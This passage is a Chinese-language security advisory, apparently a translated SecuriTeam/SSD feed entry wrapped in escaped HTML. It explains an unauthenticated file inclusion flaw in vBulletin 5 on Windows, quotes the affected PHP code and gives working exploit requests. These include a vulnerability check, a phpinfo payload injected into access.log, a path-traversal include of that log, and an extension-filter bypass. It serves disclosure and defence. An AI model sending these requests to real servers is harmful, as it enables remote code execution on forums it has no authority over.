<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-129\"><span class=\"crayon-c\">\/* \u2026 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0131 seconds] -->  <\/p>\n<p>\u56e0\u6b64\uff0c\u5982\u679c\u6211\u4eec\u7684\u5b57\u7b26\u4e32\u4e0d\u4ee5\u2019.gif\uff0c\u2018.png\u2019\uff0c\u2019.jpg\u2019\uff0c\u2019.css\u2019\u6216\u8005\u2018.js\u2019\u7ed3\u5c3e\u5e76\u4e14\u4e0d\u5305\u542b\u2019\/\u2019\u5b57\u7b26\uff0cvBulletin\u4f1a\u4ecevB5_Frontend_Controller_Relay\u4e2d\u8c03\u7528legacy()<\/p>\n<p>\/includes\/vb5\/frontend\/controller\/relay.php\u90e8\u5206\u4ee3\u7801\uff1a<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a49625a6e153110337777\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 63 *\/   public function legacy($file)  \/* 64 *\/   {  \/* 65 *\/      $api = Api_InterfaceAbstract::instance();  \/* 66 *\/      $api-&gt;relay($file);  \/* 67 *\/   }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e153110337777-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e153110337777-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e153110337777-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e153110337777-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e153110337777-5\">5<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e153110337777-1\"><span class=\"crayon-c\">\/* 63 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">legacy<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">file<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e153110337777-2\"><span class=\"crayon-c\">\/* 64 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e153110337777-3\"><span class=\"crayon-c\">\/* 65 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">api<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Api_InterfaceAbstract<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">instance<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e153110337777-4\"><span class=\"crayon-c\">\/* 66 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">api<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">relay<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">file<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e153110337777-5\"><span class=\"crayon-c\">\/* 67 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0006 seconds] -->  <\/p>\n<p>\u5982\u679c\u6211\u4eec\u4eceApi_Interface_Collapsed\u7c7b\u4e2d\u68c0\u67e5relay()<\/p>\n<p>\/include\/api\/interface\/collapsed.php\u90e8\u5206\u4ee3\u7801\uff1a<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a49625a6e156037364276\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 117 *\/   public function relay($file)  \/* 118 *\/   {  \/* 119 *\/      $filePath = vB5_Config::instance()-&gt;core_path . &#8216;\/&#8217; . $file;  \/* 120 *\/        \/* 121 *\/      if ($file AND file_exists($filePath))  \/* 122 *\/      {  \/* 123 *\/         \/\/hack because the admincp\/modcp files won&#8217;t return so the remaining processing in  \/* 124 *\/         \/\/index.php won&#8217;t take place.  If we better integrate the admincp into the  \/* 125 *\/         \/\/frontend, we can (and should) remove this.  \/* 126 *\/         vB_Shutdown::instance()-&gt;add(array(&#8216;vB5_Frontend_ExplainQueries&#8217;, &#8216;finish&#8217;));  \/* 127 *\/         require_once($filePath);  \/* 128 *\/      }  \/* &#8230; *\/ <\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e156037364276-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e156037364276-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e156037364276-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e156037364276-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e156037364276-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e156037364276-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e156037364276-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e156037364276-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e156037364276-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e156037364276-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e156037364276-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e156037364276-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e156037364276-13\">13<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e156037364276-1\"><span class=\"crayon-c\">\/* 117 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">relay<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">file<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e156037364276-2\"><span class=\"crayon-c\">\/* 118 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e156037364276-3\"><span class=\"crayon-c\">\/* 119 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">filePath<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">vB5_Config<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">instance<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">core<\/span><span class=\"crayon-sy\">_<\/span>path<span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;\/&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">file<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e156037364276-4\"><span class=\"crayon-c\">\/* 120 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e156037364276-5\"><span class=\"crayon-c\">\/* 121 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-e\">file <\/span><span class=\"crayon-st\">AND<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">file_exists<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">filePath<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e156037364276-6\"><span class=\"crayon-c\">\/* 122 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e156037364276-7\"><span class=\"crayon-c\">\/* 123 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-c\">\/\/hack because the admincp\/modcp files won&#8217;t return so the remaining processing in<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e156037364276-8\"><span class=\"crayon-c\">\/* 124 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-c\">\/\/index.php won&#8217;t take place.&nbsp;&nbsp;If we better integrate the admincp into the<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e156037364276-9\"><span class=\"crayon-c\">\/* 125 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-c\">\/\/frontend, we can (and should) remove this.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e156037364276-10\"><span class=\"crayon-c\">\/* 126 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">vB_Shutdown<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">instance<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">add<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;vB5_Frontend_ExplainQueries&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;finish&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e156037364276-11\"><span class=\"crayon-c\">\/* 127 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">require_once<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">filePath<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e156037364276-12\"><span class=\"crayon-c\">\/* 128 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e156037364276-13\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0014 seconds] -->  <\/p>\n<p>\u6b63\u5982\u6211\u4eec\u6240\u770b\u5230\u7684\uff0c\u653b\u51fb\u8005\u65e0\u6cd5\u5728$\u6587\u4ef6\u4e2d\u4f7f\u7528\u201c\/\u201d\uff0c\u6240\u4ee5\u4e0d\u80fd\u5728Linux\u4e0a\u66f4\u6539\u5f53\u524d\u76ee\u5f55\u3002\u4f46\u662f\u5bf9\u4e8eWindows\u800c\u8a00\uff0c\u53ef\u4ee5\u4f7f\u7528&#8217;&#8217;\u4f5c\u4e3a\u8def\u5f84\u5206\u9694\u7b26\uff0c\u901a\u8fc7PHP\u5305\u542b\u4efb\u610f\u6240\u9700\u7684\u6587\u4ef6\uff08\u4e5f\u53ef\u4ee5\u4f7f\u7528&#8217; .. &#8217;\u6280\u5de7\uff09\u3002<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/vBulletin.jpg\" data-slb-active=\"1\" data-slb-asset=\"251287117\" data-slb-internal=\"0\" data-slb-group=\"3609\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/vBulletin-125x300.jpg\" alt=\"\" width=\"125\" height=\"300\" class=\"alignnone size-medium wp-image-3570\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/vBulletin-125x300.jpg 125w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/vBulletin.jpg 425w\" sizes=\"auto, (max-width: 125px) 100vw, 125px\" \/><\/a><\/p>\n<p>\u5982\u679c\u6211\u4eec\u60f3\u5305\u542b\u6269\u5c55\u540d\u4e3a&#8217;.gif&#8217;\uff0c&#8217;.png&#8217;\uff0c&#8217;.jpg&#8217;\uff0c&#8217;.css&#8217;\u6216&#8217;.js&#8217;\u8fd9\u6837\u7684\u6587\u4ef6\uff0c\u9700\u8981\u7ed5\u8fc7setRoutes\uff08\uff09\u65b9\u6cd5\u91cc\u9762\u7684\u8fc7\u6ee4\uff0c\u7ed5\u8fc7\u5f88\u5bb9\u6613\uff0c\u53ef\u4ee5\u901a\u8fc7\u6dfb\u52a0\u70b9\uff08&#8217;.&#8217;\uff09\u6216\u7a7a\u683c\uff08&#8217;%20&#8217;\uff09\u5230\u6587\u4ef6\u540d\u6765\u7ed5\u8fc7\u3002<\/p>\n<p><strong>\u5b8c\u6574\u7684\u6f0f\u6d1e\u8bc1\u660e<\/strong><\/p>\n<p>\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u53d1\u9001\u4e0b\u9762\u7684GET\u8bf7\u6c42\u6765\u68c0\u67e5\u670d\u52a1\u5668\u662f\u5426\u6709\u6f0f\u6d1e\uff1a<\/p>\n<p>\/index.php?routestring=.\\<\/p>\n<p>\u5982\u679c\u56de\u663e\u662f\uff1a<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/vBulletin-1.png\" data-slb-active=\"1\" data-slb-asset=\"709332167\" data-slb-internal=\"0\" data-slb-group=\"3609\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/vBulletin-1-300x60.png\" alt=\"\" width=\"300\" height=\"60\" class=\"alignnone size-medium wp-image-3571\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/vBulletin-1-300x60.png 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/vBulletin-1-768x153.png 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/vBulletin-1.png 973w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>\u90a3\u4e48\u670d\u52a1\u5668\u5b58\u5728\u6f0f\u6d1e<\/p>\n<p>\u5982\u679c\u6211\u4eec\u60f3\u8981\u5728\u670d\u52a1\u5668\u4e0a\u7684\u4efb\u4f55\u6587\u4ef6\u4e2d\u6ce8\u5165\u4e00\u4e2aphp\u4ee3\u7801\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528access.log\u4f8b\u5982\uff1a<\/p>\n<p>\/?LogINJ_START=< ?php phpinfo();?>LogINJ_END<\/p>\n<p>\u4e4b\u540e\uff0c\u6211\u4eec\u53ef\u4ee5\u5305\u542baccess.log\u4e0e\u6211\u4eec\u7684PHP\u4ee3\u7801\uff1a<br \/> \/index.php?routestring=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\xampp\\apache\\logs\\access.log<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/vBulletin-2.jpg\" data-slb-active=\"1\" data-slb-asset=\"431092452\" data-slb-internal=\"0\" data-slb-group=\"3609\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/vBulletin-2-300x89.jpg\" alt=\"\" width=\"300\" height=\"89\" class=\"alignnone size-medium wp-image-3572\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/vBulletin-2-300x89.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/vBulletin-2-768x228.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/vBulletin-2.jpg 978w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<div class=\"printfriendly pf-alignleft\"><a href=\"#\" rel=\"nofollow\" onclick=\"window.print(); return false;\" class=\"noslimstat\" title=\"Printer Friendly, PDF &#038; Email\"><img decoding=\"async\" style=\"border:none;-webkit-box-shadow:none; box-shadow:none;\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\" alt=\"Print Friendly, PDF &#038; Email\" \/><\/a><\/div>\n<\/div><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3609\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/vBulletin-125x300.jpg\"\/><\/p>\n<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Sun, 31 Dec 2017 06:31:17 +0000<\/strong><\/p>\n<p>\u6f0f\u6d1e\u6982\u8981 \u4ee5\u4e0b\u5b89\u5168\u516c\u544a\u63cf\u8ff0\u4e86\u5728vBulletin5\u4e2d\u53d1\u73b0\u7684\u4e00\u4e2a\u672a\u7ecf\u8eab\u4efd\u9a8c\u8bc1\u7684\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\uff0c\u6210\u529f\u5229\u7528\u8be5\u6f0f\u6d1e\u53ef\u9020\u6210\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u3002 vBulletin\u4e5f\u79f0\u4e3avB\uff0c\u7531vBulletin Solutions\u516c\u53f8\u57fa\u4e8ePHP\u548cMySQL\u5f00\u53d1\uff0c\u5e7f\u6cdb\u7528\u4e8e\u642d\u5efa\u7f51\u7edc\u8bba\u575b\u3002 vBulletin\u4e3a\u8bb8\u591a\u7f51\u7edc\u5927\u578b\u7684\u793e\u4ea4\u7f51\u7ad9\u63d0\u4f9b\u6280\u672f\u652f\u6301\uff0c\u6570\u91cf\u8d85\u8fc710\u4e07\uff0c\u5176\u4e2d\u5305\u62ec\u8d22\u5bcc500\u5f3a\u548cAlexa Top 1M\u516c\u53f8\u7684\u7f51\u7ad9\u548c\u8bba\u575b\u3002\u6839\u636e\u6700\u65b0\u7684W3Techs1\u7edf\u8ba1\uff0cvBulletin 4\u62e5\u6709\u8d85\u8fc755\uff05\u7684vBulletin\u5e02\u573a\u4efd\u989d\uff0c\u800cvBulletin 3\u548cvBulletin 5\u5219\u5360\u5269\u4e0b\u768445\uff05\u3002 \u6f0f\u6d1e\u63d0\u4ea4\u8005 \u4e00\u4f4d\u72ec\u7acb\u7684\u5b89\u5168\u7814\u7a76\u4eba\u5458\u5411 Beyond Security \u7684 SSD \u62a5\u544a\u4e86\u8be5\u6f0f\u6d1e \u5382\u5546\u54cd\u5e94 \u81ea2017\u5e7411\u670821\u65e5\u8d77\uff0c\u6211\u4eec\u591a\u6b21\u5c1d\u8bd5\u8054\u7cfbvBulletin\uff0c\u4f46\u662f\u6682\u65f6\u6ca1\u6709\u5f97\u5230\u56de\u590d\u3002\u76ee\u524d\uff0c\u6f0f\u6d1e\u6682\u65f6\u8fd8\u6ca1\u6709\u89e3\u51b3\u65b9\u6848\u3002 \u6f0f\u6d1e\u8be6\u7ec6\u4fe1\u606f vBulletin\u5b58\u5728\u4e00\u4e2a\u6f0f\u6d1e\uff0c\u5bfc\u81f4\u8fdc\u7a0b\u653b\u51fb\u8005\u53ef\u4ee5\u4ecevBulletin\u670d\u52a1\u5668\u4e2d\u5305\u542b\u4efb\u610f\u6587\u4ef6\u5e76\u6267\u884cPHP\u4ee3\u7801\u3002 \u672a\u7ecf\u8eab\u4efd\u9a8c\u8bc1\u7684\u7528\u6237\u53ef\u4ee5\u5411\/index.php\u53d1\u9001GET\u8bf7\u6c42\uff0c\u7136\u540e\u4f7f\u7528\u53c2\u6570routestring =\u89e6\u53d1\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u3002 \u8be5\u8bf7\u6c42\u5141\u8bb8\u653b\u51fb\u8005\u5411\u5b89\u88c5\u5728Windows\u64cd\u4f5c\u7cfb\u7edf\u4e0a\u7684Vbulletin\u670d\u52a1\u5668\u521b\u5efa\u7cbe\u5fc3\u5236\u4f5c\u7684\u8bf7\u6c42\uff0c\u5e76\u5728Web\u670d\u52a1\u5668\u4e0a\u5305\u542b\u4efb\u610f\u6587\u4ef6\u3002 \/index.php \u90e8\u5206\u4ee3\u7801\uff1a [crayon-5a496258a4faa266544584\/] \u8ba9\u6211\u4eec\u4ed4\u7ec6\u770b\u770bvB5_Frontend_Application :: init \u2014 \/includes\/vb5\/frontend\/application.php\u90e8\u5206\u4ee3\u7801\uff1a [crayon-5a496258a4fb1671370675\/] \u6211\u4eec\u53ef\u4ee5\u770b\u5230setRoutes()\u88ab\u8c03\u7528 \/includes\/vb5\/frontend\/routing.php\u90e8\u5206\u4ee3\u7801\uff1a [crayon-5a496258a4fb4744772041\/] \u56e0\u6b64\uff0c\u5982\u679c\u6211\u4eec\u7684\u5b57\u7b26\u4e32\u4e0d\u4ee5\u2019.gif\uff0c\u2018.png\u2019\uff0c\u2019.jpg\u2019\uff0c\u2019.css\u2019\u6216\u8005\u2018.js\u2019\u7ed3\u5c3e\u5e76\u4e14\u4e0d\u5305\u542b\u2019\/\u2019\u5b57\u7b26\uff0cvBulletin\u4f1a\u4ecevB5_Frontend_Controller_Relay\u4e2d\u8c03\u7528legacy() \/includes\/vb5\/frontend\/controller\/relay.php\u90e8\u5206\u4ee3\u7801\uff1a [crayon-5a496258a4fbd144806678\/] \u5982\u679c\u6211\u4eec\u4eceApi_Interface_Collapsed\u7c7b\u4e2d\u68c0\u67e5relay() \/include\/api\/interface\/collapsed.php\u90e8\u5206\u4ee3\u7801\uff1a [crayon-5a496258a4fbf779937258\/] \u6b63\u5982\u6211\u4eec\u6240\u770b\u5230\u7684\uff0c\u653b\u51fb\u8005\u65e0\u6cd5\u5728$\u6587\u4ef6\u4e2d\u4f7f\u7528\u201c\/\u201d\uff0c\u6240\u4ee5\u4e0d\u80fd\u5728Linux\u4e0a\u66f4\u6539\u5f53\u524d\u76ee\u5f55\u3002\u4f46\u662f\u5bf9\u4e8eWindows\u800c\u8a00\uff0c\u53ef\u4ee5\u4f7f\u7528&#8217;&#8217;\u4f5c\u4e3a\u8def\u5f84\u5206\u9694\u7b26\uff0c\u901a\u8fc7PHP\u5305\u542b\u4efb\u610f\u6240\u9700\u7684\u6587\u4ef6\uff08\u4e5f\u53ef\u4ee5\u4f7f\u7528&#8217; .. &#8217;\u6280\u5de7\uff09\u3002 